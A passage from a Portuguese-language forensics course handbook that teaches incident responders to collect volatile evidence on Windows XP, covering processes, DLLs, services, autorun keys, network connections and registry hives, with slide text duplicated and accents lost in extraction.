ndows NT\Accessories\wordpad.exe
0x7C913156 0x7C900000 000B0000 C:\WINDOWS\system32
\ntdll.dll
0x7C80B5AE 0x7C800000 000F5000 C:\WINDOWS\system32
\kernel32.dll
0x5F806A61 0x5F800000 000F2000 C:\WINDOWS\system32
\MFC42u.DLL
0x77C1F2A1 0x77C10000 00058000 C:\WINDOWS\system32
\msvcrt.dll
0x77F16597 0x77F10000 00047000 C:\WINDOWS\system32
\GDI32.dll

146

Escola Superior de Redes RNP


0x7E42E966
0x77DD70D4

0x7E410000 00090000 C:\WINDOWS\system32\USER32.dll


0x77DD0000 0009B000 C:\WINDOWS\system32\ADVAPI32.dll

Uma coisa que o investigador deve estar atento ao examinar estes comandos so
bibliotecas localizadas em local que no seja padro no sistema. Outra indicao
de que o sistema pode ter sido comprometido a presena de bibliotecas com o
mesmo nome do sistema, mas com verses diferentes das outras bibliotecas padro.
Alm destas ferramentas, existe uma ferramenta grfica no kit de ferramentas que
permite listar as DLLs que so automaticamente injetadas em todos os processos
executados. Esta ferramenta chama-se InjectedDLL.exe
Podemos inclusive listar mais informaes sobre uma DLL clicando duas vezes
sobre ela, como no exemplo abaixo.

Anlise forense Sesso de aprendizagem 9

147

Informaes sobre arquivos abertos

Informaes sobre arquivos abertos


D:\IR\xp> handle -a -u wordpad8

Arquivos abertos
D:\IR\xp> handle -a -u wordpad
csrss.exe
pid: 1040
NT AUTHORITY\SYSTEM
730: wordpad.exe(676): 1684
csrss.exe
pid: 1040
NT AUTHORITY\SYSTEM
8A0: wordpad.exe(676): 3428
csrss.exe
pid: 1040
NT AUTHORITY\SYSTEM
AD0: wordpad.exe(676)
lsass.exe
pid: 1124
NT AUTHORITY\SYSTEM
69C: wordpad.exe(676)
svchost.exe
pid: 1576
NT AUTHORITY\SYSTEM
1390: wordpad.exe(676)
cmdagent.exe pid: 380
NT AUTHORITY\SYSTEM
4DC: wordpad.exe(676)
wordpad.exe
pid: 676
COMPUTADOR\Usuario
60:
HKCU\Software\Microsoft\Windows\ CurrentVersion\Applets\Wordpad
wordpad.exe
pid: 676
COMPUTADOR\Usuario
84: wordpad.exe(676): 2812
wordpad.exe
pid: 676
COMPUTADOR\Usuario
14C: wordpad.exe(676): 1684
wordpad.exe
pid: 676
COMPUTADOR\usuario
168: wordpad.exe(676): 3428

csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 730: wordpa


d.exe(676): 1684
csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 8A0: wordpa
d.exe(676): 3428
csrss.exe pid: 1040 NT AUTHORITY\SYSTEM AD0: wordpa
d.exe(676)
lsass.exe pid: 1124 NT AUTHORITY\SYSTEM 69C: wordpa
d.exe(676)
svchost.exe pid: 1576 NT AUTHORITY\SYSTEM 1390: wor
dpad.exe(676)
cmdagent.exe pid: 380 NT AUTHORITY\SYSTEM 4DC: word
pad.exe(676)
wordpad.exe pid: 676 COMPUTADOR\Usuario 60: HKCU\So
ftware\Microsoft\Windows\ CurrentVersion\Applets\Wo
rdpad
wordpad.exe pid: 676 COMPUTADOR\Usuario 84:wordpad.
exe(676): 2812
wordpad.exe pid: 676 COMPUTADOR\Usuario 14C: wordpa
d.exe(676): 1684
wordpad.exe pid: 676 COMPUTADOR\usuario 168: wordpa
d.exe(676): 3428

Outra informao importante sobre os processos, alm das bibliotecas que eles
utilizam, relativa aos arquivos que eles mantm abertos. Um processo desconhecido pode manter arquivos de logs, pipes e outros tipos de arquivos abertos
durante a execuo. importante tentar recuperar essa informao, pois isso
pode facilitar o trabalho de investigao posterior.
Podemos ver no slide todos os arquivos abertos e os processos que controlam,
alm de chaves de registro e do usurio que iniciou o processo.

Anlise forense avanada em Windows

148

Escola Superior de Redes RNP

Outra ferramenta til para ver arquivos abertos em tempo real a Filemon. Com
ela, podemos ver inclusive os acessos aos arquivos especiais do MFT, indicando
leituras ou escritas na tabela de partio.

Servios em execuo
Servios so programas iniciados pelo sistema
operacional
Funes:
Oferecer algum tipo de servio aos usurios
Controlar algum tipo de acesso aos dispositivos
conectados
Por exemplo, o compartilhamento de arquivos em rede
controlado pelo servio Servidor e as conexes
com uma cmera digital ou celular so feitas pelos
respectivos servios instalados pelos drivers de
dispositivo

Servios em execuo
Podemos utilizar a prpria ferramenta do Windows
para listar os servios iniciados. O problema desta
ferramenta que ela no lista mais nenhuma
informao sobre os servios, e isto pode no ser
suficiente para identificar um possvel servio falso
instalado por um invasor.

Servios em execuo
D:\IR\xp> net start
These Windows services are started:
Ad-Aware 2007 Service
Adobe LM Service
Application Layer Gateway Service
Ati HotKey Poller
Automatic Updates
avast! Antivirus
avast! iAVS4 Control Service
Background Intelligent Transfer Service

Servios em execuo
D:\IR\xp> servicelist \\COMPUTADOR
ServiceList v1.0 Copyright 1999 www.NetLatency.com
Service Name
Stats
Alerter
Display Name:
Alerter
State:
Stopped
Type:
Windows Shared Process
Controls: UNKNOWN #0
ALG
Display Name:
Application Layer Gateway Service
State:
Running
Type:
Windows Own Process
Controls: START
STOP
aswUpdSv
Display Name:
avast! iAVS4 Control Service
State:
Running
Type:
Windows Own Process
Desktop Interactive Process
Controls: START
STOP
SYSTEM SHUTDOWN

Anlise forense Sesso de aprendizagem 9

Podemos ver no slide os servios e comandos aceitos por COMPUTADOR. possvel controlar o estado
de um servio com um dos comandos abaixo:
\\net

start <servio>

\\net

stop <servio>

149

O psservice permite um controle muito maior sobre


os servios, como mostra a ajuda do comando mostrada no slide.

Servios em execuo
D:\IR\xp> psservice /?
PsService lists or controls services on a local or remote system.
Usage: psservice [\\Computer [-u Username [-p Password]]] <cmd> <optns>
Cmd is one of the following:
query
Queries the status of a service
config
Queries the configuration
setconfig Sets the configuration
start
Starts a service
stop
Stops a service
restart
Stops and then restarts a service
pause
Pauses a service
cont
Continues a paused service
depend
Enumerates the services that depend on the one specified
find
Searches for an instance of a service on the network
security
Reports the security permissions assigned to a service

Servios em execuo
Inicializao do sistema
Diversas configuraes do Windows permitem iniciar
programas junto com o sistema
O registro um conjunto de configuraes do sistema
Alguns programas podem ser iniciados antes de
qualquer antivrus ou firewall

Alm dos servios iniciados pelo sistema, o Windows


ainda permite a execuo automtica de programas durante a sua inicializao. Para isso, existem
diversas configuraes possveis do sistema que
permitem configurar um programa para iniciar
automaticamente.
Alm do arquivo Autoexec.bat, que era utilizado
desde a poca do MS-DOS para iniciar programas, o
Windows permite a utilizao de algumas chaves de
registro para essa finalidade. O registro um conjunto de configuraes do sistema. Vimos anteriormente uma ferramenta que permite fazer consultas
ao registro: reg.exe.
D:\IR\xp> reg query HKLM\Software\Microsoft\Windows
\CurrentVersion\Run8

Servios em execuo
D:\IR\xp> reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Listing of [Software\Microsoft\Windows\CurrentVersion\\Run]
REG_SZ
SynTPLpr
C:\Program
Files\Synaptics\SynTP\SynTPLpr.exe
REG_SZ
SynTPEnh
C:\Program
Files\Synaptics\SynTP\SynTPEnh.exe
REG_SZ
eabconfg.cpl
C:\Program Files\HPQ\Quick Launch
Buttons\EabServr.exe /Start
REG_SZ
DAEMON Tools-1033
"C:\Program Files\DTools\daemon.exe" -lang 1033
REG_SZ
Broadcom Wireless Manager UI
C:\WINDOWS\system32\bcmntray
REG_SZ
Windows Defender
"C:\Program Files\Windows
Defender\MSASCui.exe" -hide
REG_SZ
COMODO Firewall Pro
"C:\Program
Files\Comodo\Firewall\CPF.exe" /background
REG_SZ
avast! C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe

Listing of [Software\Microsoft\Windows\CurrentVersi
on\\Run]
REG_SZ SynTPLpr C:\Program Files\Synaptics\SynTP\Sy
nTPLpr.exe
REG_SZ SynTPEnh C:\Program Files\Synaptics\SynTP\Sy
nTPEnh.exe
REG_SZ eabconfg.cpl C:\Program Files\HPQ\Quick Laun
ch Buttons\EabServr.exe /Start
REG_SZ DAEMON Tools-1033 C:\Program Files\D-Tools\
daemon.exe -lang 1033
REG_SZ Broadcom Wireless Manager UI C:\WINDOWS\syst
em32\bcmntray
REG_SZ Windows Defender C:\Program Files\Windows D
efender\MSASCui.exe -hide
REG_SZ COMODO Firewall Pro C:\Program Files\Comodo
\Firewall\CPF.exe /background
REG_SZ avast! C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe

Uma das chaves do registro que permitem a execuo de processos na inicializao do sistema a chave HKLM\Software\Microsoft\Windows\CurrentVersion\
Run. Podemos descobrir quais programas so iniciados automaticamente com o
comando expresso no slide.
Anlise forense avanada em Windows

150

Escola Superior de Redes RNP


No exemplo temos diversos processos configurados para iniciar juntamente
com o sistema.
D:\IR\xp> autorunsc8

Servios em execuo
D:\IR\xp> autorunsc
Autoruns v8.61 - Autostart program viewer
HKLM\System\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\StartupPrograms
rdpclip
RDP Clip Monitor
Microsoft Corporation
c:\windows\system32\rdpclip.exe
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
C:\WINDOWS\system32\userinit.exe
Userinit Logon Application
Microsoft Corporation
c:\windows\system32\userinit.exe
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SynTPLpr
TouchPad Driver Helper Application
Synaptics, Inc.
c:\program files\synaptics\syntp\syntplpr.exe

Autoruns v8.61 - Autostart program viewer


HKLM\System\CurrentControlSet\Control\Terminal Serv
er\Wds\rdpwd\StartupPrograms
rdpclip
RDP Clip Monitor
Microsoft Corporation
c:\windows\system32\rdpclip.exe
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\W
inlogon\Userinit
C:\WINDOWS\system32\userinit.exe
Userinit Logon Application
Microsoft Corporation
c:\windows\system32\userinit.exe
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SynTPLpr
TouchPad Driver Helper Application
Synaptics, Inc.
c:\program files\synaptics\syntp\syntplpr.exe

Alm desta chave de registro, existem muitas outras que permitem a inicializao
automtica de processos. Por isso, podemos usar ferramentas como o autorunsc.
exe para listar todas as possibilidades.
Repare que ela lista diversas chaves de registro e arquivos de configurao que
permitem a execuo automtica de programas.
Esta a verso grfica da ferramenta anterior, que permite ligar ou desligar programas que esto iniciando automaticamente.

Anlise forense Sesso de aprendizagem 9

151

Servios em execuo

D:\IR\xp> schtasks
TaskName
Next Run Time
====================================
AppleSoftwareUpdate 09:42:00, 4/2/2008
MP Scheduled Scan
01:36:00, 30/1/2008

Status

Concluses
Existem muitas informaes que devem ser coletadas em
um sistema comprometido
Vimos como coletar informaes bsicas sobre o
sistema, e tambm como listar e identificar os processos
em execuo na mquina
As bibliotecas carregadas pelos processos e os arquivos
abertos so importantes fontes de informao para
auxiliar a investigao
A execuo automtica de programas uma informao
que tambm deve ser coletada

Anlise forense avanada em Windows

Finalmente, a ltima forma que estudaremos de checar processos que podem ser executados automaticamente a verificao dos processos agendados.
O agendamento de tarefas permite definir uma data
e hora para a execuo de um programa. Para listar
os agendamentos existentes, podemos usar a ferramenta schtasks.exe.

Concluses
Na prxima sesso vamos conhecer as ferramentas
que podem ser usadas para coletar informaes
sobre conexes de rede, alm de conhecer mais
sobre algumas caractersticas de sistemas Windows,
como arquivos em Alternate Data Streams, logs
de eventos e o registro do sistema, alm de ferramentas para investigar histricos de navegao na
internet e de recuperao de senhas.

Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 9

152

9
Sesso de aprendizagem 9
Anlise forense avanada em Windows
Roteiro de atividades
Tpicos e conceitos
\\Identificar

os processos e servios de uma estao Windows.

Competncias tcnicas desenvolvidas


\\O

aluno aprender a descobrir informaes sobre o sistema Windows e


identificar processos.

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90

minutos

Escola Superior de Redes RNP

154

Atividade 1 Levantando informaes do sistema


Execute em sua estao os comandos, informaes bsicas do sistema,


processos em execuo e bibliotecas utilizadas, fazendo um relatrio do
que encontrar. Existem usurios suspeitos no sistema? H compartilhamento
de disco? Dos processos e bibliotecas encontrados, liste aqueles que voc
no soube identificar para que servem.

Atividade 2 Identificando processos comprometidos


1. Procure na internet mais informaes sobre os processos listados acima
como desconhecidos. Alm disso, pesquise os processos em execuo
que podem ser confundidos com programas maliciosos. Exemplo: o
processo svchost.exe pode ser confundido com diversos vrus; encontre
informaes na internet que confirmem essa informao. Relate no
somente o site onde achou a informao, mas exemplos de programas
maliciosos que podem ser confundidos com os processos do sistema.
2. Pesquise os servios instalados em sua estao. Faa um relatrio sobre
todos os programas auto-executveis, procurando na internet informaes
sobre eles, assim como foi feito no exerccio anterior.

Atividade 3 Novas ferramentas


Use o tempo restante para procurar na internet novas ferramentas que


podem ser utilizadas para conseguir outras informaes alm das que
vimos nesta sesso. Faa um relatrio dos sites que encontrar, com uma
breve descrio das ferramentas.

Anlise forense Sesso de aprendizagem 9

10
Sesso de aprendizagem 10
Anlise forense avanada em Windows
(parte 2)
Sumrio da sesso
Coleta de informaes de redes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 156
Coleta de informaes em registros do Windows. . . . . . . . . . . . . . . . . . . . . . 160
Coleta de registros de eventos (logs). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 164
Anlise de contedo do Recycle.Bin. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167
Anlise de contedo do Clipboard . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168
Anlise de contedo de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168
Recuperao de dados ocultos ADS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 170
Anlise do histrico de navegao. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172
Recuperao de senhas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 174
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 175
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 177
Atividade 1 Coleta de informaes de redes . . . . . . . . . . . . . . . . . . . . . . . . 178
Atividade 2 Coleta de informaes em registros do Windows. . . . . . . . . . . . 178
Atividade 3 Anlise de contedo do Recycle.Bin. . . . . . . . . . . . . . . . . . . . . . 178
Atividade 4 Recuperao de dados ocultos ADS . . . . . . . . . . . . . . . . . . . . . 178
Atividade 5 Anlise do histrico de navegao. . . . . . . . . . . . . . . . . . . . . . . 178
Atividade 6 Recuperao de senhas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 179

156

Escola Superior de Redes RNP

Coleta de informaes de redes


Conexes de rede
So evidncias volteis
Podem dar pistas sobre a origem dos invasores
Podem dar dicas sobre possveis vazamentos de informao ou mau
uso do sistema

Existem dois tipos de informao importantes de coletar:


Conexes ativas, ou seja, aquelas que esto acontecendo no
momento atual
Portas abertas, ou os servios que a mquina est oferecendo
publicamente

O investigador deve comparar a sada de diversos comandos


diferentes, pois os rootkits costumam esconder informaes
sobre conexes de redes e portas abertas.

Coleta de informaes de redes


Conexes de rede
D:\IR\xp> ipconfig /all

Windows IP Configuration
Host Name . . . . . . . . . . . . : COMPUTADOR
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : provedor.com.br
Ethernet adapter Wireless Network Connection 2:
Connection-specific DNS Suffix . : provedor.com.br
Description . . . . . . . . . . . : Broadcom 802.11b/g WLAN
Physical Address. . . . . . . . . : 00-90-4B-EA-0F-F3
Dhcp Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IP Address. . . . . . . . . . . . : 192.168.0.194
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.1
DHCP Server . . . . . . . . . . . : 192.168.0.1
DNS Servers . . . . . . . . . . . : 192.168.0.10
192.168.0.1
Lease Obtained. . . . . . . . . . : quarta-feira, 30 de janeiro de 2008
16:42:06
Lease Expires . . . . . . . . . . : quarta-feira, 6 de fevereiro de
2008 16:42:06

Coleta de informaes de redes


Conexes de rede
D:\IR\xp> iplist
DiamondCS IP Enumerator v1.0 (www.diamondcs.com.au)
# ADDRESS
BROADCAST
NETMASK
-1040144192 192.168.0.194 255.255.255.255 255.255.255.0
16777343
127.0.0.1 255.255.255.255
255.0.0.0
19900608
192.168.47.1 255.255.255.255 255.255.255.0
3 interfaces found.

Coleta de informaes de redes


importante notar as informaes sobre as configuraes de IP de todas as interfaces de rede,
incluindo aquelas que forem interfaces wireless. Alm
disso, importante notar se a mquina possui um IP
configurado estaticamente ou se usa DHCP para se
auto-configurar.
Por fim, tambm necessrio anotar todos os endereos MAC das placas instaladas no computador,
para correlacionar posteriormente estas informaes
com logs externos.
D:\IR\xp> ipconfig /all8
Windows IP Configuration
Host Name . . . . . . . . . . . :
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . :
IP Routing Enabled. . . . . . . :
WINS Proxy Enabled. . . . . . . :
DNS Suffix Search List. . . . . .:
Ethernet adapter Wireless Network
Connection-specific DNS Suffix . :
Description . . . . . . . . . . :
b/g WLAN
Physical Address. . . . . . . . :
Dhcp Enabled. . . . . . . . . . :
Autoconfiguration Enabled . . . .:
IP Address. . . . . . . . . . . :
Subnet Mask . . . . . . . . . . :
Default Gateway . . . . . . . . .
DHCP Server . . . . . . . . . . .
DNS Servers . . . . . . . . . . .

COMPUTADOR
Hybrid
No
No
provedor.com.br
Connection 2:
provedor.com.br
Broadcom 802.11

00-90-4B-EA-0F-F3
Yes
Yes
192.168.0.194
255.255.255.0
: 192.168.0.1
: 192.168.0.1
: 192.168.0.10
192.168.0.1
Lease Obtained. . . . . . . . . . : quarta-feira,

30 de janeiro de

2008 16:42:06
Lease Expires . . . . . . . . . . : quarta-feira, 6

de fevereiro de

2008 16:42:06
D:\IR\xp> iplist8
DiamondCS IP Enumerator v1.0 (www.diamondcs.com.au)
# ADDRESS
BROADCAST
NETMASK
-1040144192
192.168.0.194
255.255.255.255 255.2
55.255.0
16777343
127.0.0.1
255.255.255.255 255.0
.0.0
19900608
192.168.47.1
255.255.255.255 255.2
55.255.0
3 interfaces found.

A ferramenta IPLIST, presente no kit, permite listar


apenas as configuraes de IP para as interfaces
configuradas no sistema.

Anlise forense Sesso de aprendizagem 10

157

D:\IR\xp> netstat na8

Coleta de informaes de redes


Conexes de rede
D:\IR\xp> netstat -na
Active Connections
Proto Local Address
TCP
0.0.0.0:135
TCP
0.0.0.0:445
TCP
127.0.0.1:1096
TCP
127.0.0.1:1097
TCP
127.0.0.1:12025
TCP
192.168.0.194:2355
TCP
192.168.0.194:2395
UDP
0.0.0.0:445
UDP
0.0.0.0:500
...

Foreign Address
0.0.0.0:0
0.0.0.0:0
127.0.0.1:1097
127.0.0.1:1096
0.0.0.0:0
64.233.171.104:80
66.249.83.19:443
*:*
*:*

State
LISTENING
LISTENING
ESTABLISHED
ESTABLISHED
LISTENING
LAST_ACK
CLOSE_WAIT

Conexes de rede
ESTABLISHED

Coleta de informaes de redes


Conexes de rede
D:\IR\xp> openports
DiamondCS OpenPorts v1.0 (-?
SYSTEM [4]
TCP 0.0.0.0:445
UDP 192.168.47.1:138
UDP 0.0.0.0:445
UDP 192.168.0.194:1900
TCP 192.168.0.194:1074
UDP 192.168.0.194:46759
UDP 127.0.0.1:2617
TCP 127.0.0.1:1101
TCP 127.0.0.1:1102
TCP 192.168.0.194:2670
TCP 127.0.0.1:1097
TCP 127.0.0.1:1096
TCP 192.168.0.194:2668

for help)
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
207.46.109.93:1863
0.0.0.0:0
0.0.0.0:0
127.0.0.1:1102
127.0.0.1:1101
66.249.83.83:443
127.0.0.1:1096
127.0.0.1:1097
66.249.83.19:443

Verificamos tambm no slide alguns servios oferecidos pelo protocolo UDP.

D:\IR\xp> netstat -nbv8

Coleta de informaes de redes

D:\IR\xp> netstat -nbv


Active Connections
TCP
127.0.0.1:1097
127.0.0.1:1096
2512
C:\WINDOWS\system32\mswsock.dll
C:\WINDOWS\system32\WS2_32.dll
C:\Program Files\Mozilla Firefox\nspr4.dll
C:\Program Files\Mozilla Firefox\xpcom_core.dll
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Mozilla Firefox\xpcom_core.dll
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Mozilla Firefox\xpcom_core.dll
-- unknown component(s) -[firefox.exe]
...

Podemos ver no slide algumas conexes estabelecidas


e outras que foram fechadas, embora ainda no tenham
ultrapassado o tempo de tcp timeout. Esta uma
caracterstica das conexes TCP, que pode ser til para
capturar tambm conexes que j foram fechadas.

LISTENING
LISTENING
LISTENING svchost.exe [380]
LISTENING MsnMsgr.Exe [884]
ESTABLISHED
LISTENING wmplayer.exe [984]
LISTENING lsass.exe [1144]
ESTABLISHED
ESTABLISHED
CLOSE_WAIT
ESTABLISHED
ESTABLISHED
ESTABLISHED

Active Connections
TCP 127.0.0.1:1097 127.0.0.1:1096 ESTABLISHED 2512
C:\WINDOWS\system32\mswsock.dll
C:\WINDOWS\system32\WS2_32.dll
C:\Program Files\Mozilla Firefox\nspr4.dll
C:\Program Files\Mozilla Firefox\xpcom_core.dll
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Mozilla Firefox\xpcom_core.dll
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Mozilla Firefox\xpcom_core.dll
-- unknown component(s) -[firefox.exe]
...

Outra forma de usar o comando netstat.exe permite


que sejam listados os processos associados a cada
conexo, informao importante que difere da verso
Unix do comando. Esta verso do netstat.exe permite
listar toda a pilha de processos que esto associadas
a uma conexo.
Normalmente, somente o processo que abriu a
conexo listado. Podemos ver entre colchetes, no
fim da listagem, o nome do processo que solicitou
a criao da conexo, mas tambm podemos ver
acima toda a pilha de processos utilizada para criar
a conexo, at chegar na pilha TCP/IP.

Esta uma informao importante, pois permite detectar a presena de processos estranhos que estejam interceptando a criao de conexes e, com isso,
capazes de capturar informaes confidenciais.

D:\IR\xp> openports8
DiamondCS OpenPorts v1.0 (-? for help)
SYSTEM [4]
TCP 0.0.0.0:445
0.0.0.0:0

Anlise forense avanada em Windows (parte 2)

LISTENING

158

Escola Superior de Redes RNP


UDP
UDP
UDP
TCP
UDP
UDP
TCP
TCP
TCP
TCP
TCP
TCP

192.168.47.1:138
0.0.0.0:0
LISTENING
0.0.0.0:445
0.0.0.0:0
LISTENING svchost.exe [380]
192.168.0.194:1900 0.0.0.0:0
LISTENING MsnMsgr.Exe [884]
192.168.0.194:1074 207.46.109.93:1863 ESTABLISHED
192.168.0.194:46759
0.0.0.0:0
LISTENING wmplayer.exe [984]
127.0.0.1:2617
0.0.0.0:0
LISTENING lsass.exe [1144]
127.0.0.1:1101
127.0.0.1:1102
ESTABLISHED
127.0.0.1:1102
127.0.0.1:1101
ESTABLISHED
192.168.0.194:2670
66.249.83.83:443
CLOSE_WAIT
127.0.0.1:1097
127.0.0.1:1096
ESTABLISHED
127.0.0.1:1096
127.0.0.1:1097
ESTABLISHED
192.168.0.194:2668
66.249.83.19:443
ESTABLISHED

Vemos novamente os processos associados s portas abertas, mas este


comando no faz o mapeamento completo de portas para processos.

Coleta de informaes de redes


Conexes de rede
D:\IR\xp> fport
FPort v2.0 - TCP/IP Process to
Pid
Process
Port
1364
-> 135
4
System
-> 139
4
System
-> 445
2156
-> 1025
884
MsnMsgr
-> 1074
Messenger\MsnMsgr.Exe
2512 firefox
-> 1096
Firefox\firefox.exe
2512 firefox
-> 1097
Firefox\firefox.exe
2512 firefox
-> 1101
Firefox\firefox.exe
...

Port Mapper
Proto Path
TCP
TCP
TCP
TCP
TCP
C:\Program Files\MSN
TCP

C:\Program Files\Mozilla

TCP

C:\Program Files\Mozilla

TCP

C:\Program Files\Mozilla

D:\IR\xp> fport8
FPort v2.0 - TCP/IP Process
Pid
Process
Port
1364
-> 135
4
System
-> 139
4
System
-> 445
2156
-> 1025
884
MsnMsgr
-> 1074
\MSN Messenger\MsnMsgr.Exe
2512 firefox
-> 1096
\Mozilla Firefox\firefox.exe
2512 firefox
-> 1097
\Mozilla Firefox\firefox.exe
2512 firefox
-> 1101
\Mozilla Firefox\firefox.exe
...

to Port Mapper
Proto Path
TCP
TCP
TCP
TCP
TCP
C:\Program Files
TCP

C:\Program Files

TCP

C:\Program Files

TCP

C:\Program Files

Temos agora informaes sobre conexes de rede abertas e servios oferecidos


pela mquina. Dependendo do incidente, estas informaes podem comprovar ou
auxiliar na identificao dos responsveis.

Anlise forense Sesso de aprendizagem 10

159

Alm das ferramentas de comando de linha estudadas, ainda existem duas ferramentas com interface grfica que podem ser utilizadas para coletar informaes
sobre conexes de rede.
Uma delas j foi vista na sesso passada: trata-se da ferramenta procexp.exe.
Ela permite visualizar propriedades sobre um processo em execuo; entre estas
propriedades esto as conexes de rede utilizadas pelo processo.
Outra ferramenta que tambm permite visualizar este tipo de informao chamada cports.exe. Ela contm muitas informaes interessantes sobre os processos que esto mantendo conexes abertas. Execute a ferramenta em sua estao
e examine as colunas de informao para cada processo.

Coleta de informaes de redes


Conexes de rede
D:\IR\xp> promiscdetect
Adapter name:
- Broadcom 802.11b/g WLAN
Active filter for the adapter:
- Directed (capture packets directed to this computer)
- Multicast (capture multicast packets for groups the computer is a member of)
- Broadcast (capture broadcast packets)
- Promiscuous (capture all packets on the network)
WARNING: Since this adapter is in promiscuous mode there could be a sniffer
running on this computer!
Adapter name:
- Realtek RTL8139/810x Family Fast Ethernet NIC
Active filter for the adapter:
- Directed (capture packets directed to this computer)
- Multicast (capture multicast packets for groups the computer is a member of)
- Broadcast (capture broadcast packets)

D:\IR\xp> promiscdetect8
Adapter name:
- Broadcom 802.11b/g WLAN
Active filter for the adapter:
- Directed (capture packets directed to this comput
er)
- Multicast (capture multicast packets for groups t
he computer is a member of)
- Broadcast (capture broadcast packets)
- Promiscuous (capture all packets on the network)
WARNING: Since this adapter is in promiscuous mode
there could be a sniffer running on this computer!
Adapter name:
- Realtek RTL8139/810x Family Fast Ethernet NIC
Active filter for the adapter:
- Directed (capture packets directed to this compu
ter)
- Multicast (capture multicast packets for groups
the computer is a member of)
- Broadcast (capture broadcast packets)

Uma informao que pode ser uma indicao forte de que a mquina foi comprometida
o fato de alguma de suas interfaces de rede estar funcionando em modo promscuo.
Este tipo de funcionamento faz com que o driver de rede associado interface
capture todos os pacotes que passem pela rede, mesmo aqueles que no so
direcionados prpria mquina. Com isso, possvel monitorar todo o trfego de
rede, coletando informaes confidenciais como senhas e logins, entre outras.
Para detectar a presena de alguma interface de rede em modo promscuo, existe
uma ferramenta no kit chamada promiscdetect.exe.
Vemos no slide que uma das interfaces est configurada para funcionar em modo
promscuo, e com isso capturar todos os pacotes que passam pela rede, o que
pode ser indicativo da presena de um sniffer, e quase certamente do comprometimento da mquina.

Anlise forense avanada em Windows (parte 2)

160

Escola Superior de Redes RNP

Coleta de informaes em registros do


Windows
Registro do Windows
Uma das caractersticas que diferenciam a coleta de evidncias
em Linux e Windows
Base hierrquica e centralizada de dados utilizada pelo
Windows para armazenar informaes necessrias para a
configurao do sistema (para um ou mais usurios),
aplicaes e dispositivos de hardware
O registro um arquivo binrio de dados
Para poder acessar os dados neste arquivo, devemos exportar
o registro em formato de texto ou utilizar ferramentas que
permitam realizar consultas no registro
A ferramenta mais utilizada o regedit.exe da prpria Microsoft

Coleta de informaes em registros do


Windows
Os arquivos de registro em um sistema Windows XP
esto localizados em C:\windows\system32\config.
Estes arquivos no podem ser copiados normalmente. Para isso devemos utilizar uma ferramenta. A
utilizao da ferramenta regedit.exe faz com que os
dados presentes nos arquivos SAM e SECURITY no
fiquem visveis.
Existe um arquivo adicional de registro chamado
NTUSER.DAT, localizado no diretrio do usurio, em C:\
Documents and Settings\, que possui todas as configuraes pessoais do usurio.

Coleta de informaes em registros do


Windows
Registro do Windows
Localizado em C:\windows\system32\config
Registro

Funo

DEFAULT

Armazena todas as informaes originais do


usurio.

SAM

Armazena informaes do servio Security


Accounts Manager.

SECURITY

Armazena informaes de segurana.

SOFTWARE

Armazena informaes sobre os aplicativos e


operao.

SYSTEM

Armazenas informaes sobre o hardware da


mquina.

Registros e respectivas funes:


\\DEFAULT

Armazena todas as informaes


originais do usurio.

Armazena informaes do servio Security


Accounts Manager.

\\SAM

\\SECURITY

Armazena informaes de
segurana.

\\SOFTWARE

Armazena informaes sobre os


aplicativos e operao.

\\SYSTEM

Armazenas informaes sobre o


hardware da mquina.

Coleta de informaes em registros do


Windows
Chaves de registro
HKEY_CURRENT_USER
HKEY_USERS
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_CURRENT_CONFIG

Conforme mencionamos, o registro do Windows


uma base de dados hierrquica composta de chaves
(keys) e valores (values).
No campo de valores est representada a informao
armazenada no registro. O campo de valores pode possuir os seguintes formatos: string, binary e DWORD.
HKEY_CURRENT_USER

Contm as informaes de configurao do usurio.


HKEY_USERS

Contm o perfil dos usurios do computador.


HKEY_LOCAL_MACHINE

Contm as informaes especficas do computador


relacionadas com hardware e software.

Anlise forense Sesso de aprendizagem 10

161

HKEY_CLASSES_ROOT

Contm informaes sobre as associaes de arquivos.


HKEY_CURRENT_CONFIG

Contm as informaes do perfil do hardware do computador.


As chaves do registro podem ter seu nome abreviado, o que facilita a execuo
de uma busca pelo comando de linha:
HKEY_LOCAL_MACHINE: HKLM
HKEY_CLASSES_ROOT: HKCR
HKEY_CURRENT_USER: HKCU
HKEY_USERS: HKU
HKEY_CURRENT_CONFIG: HKCC
\\REG_BINARY

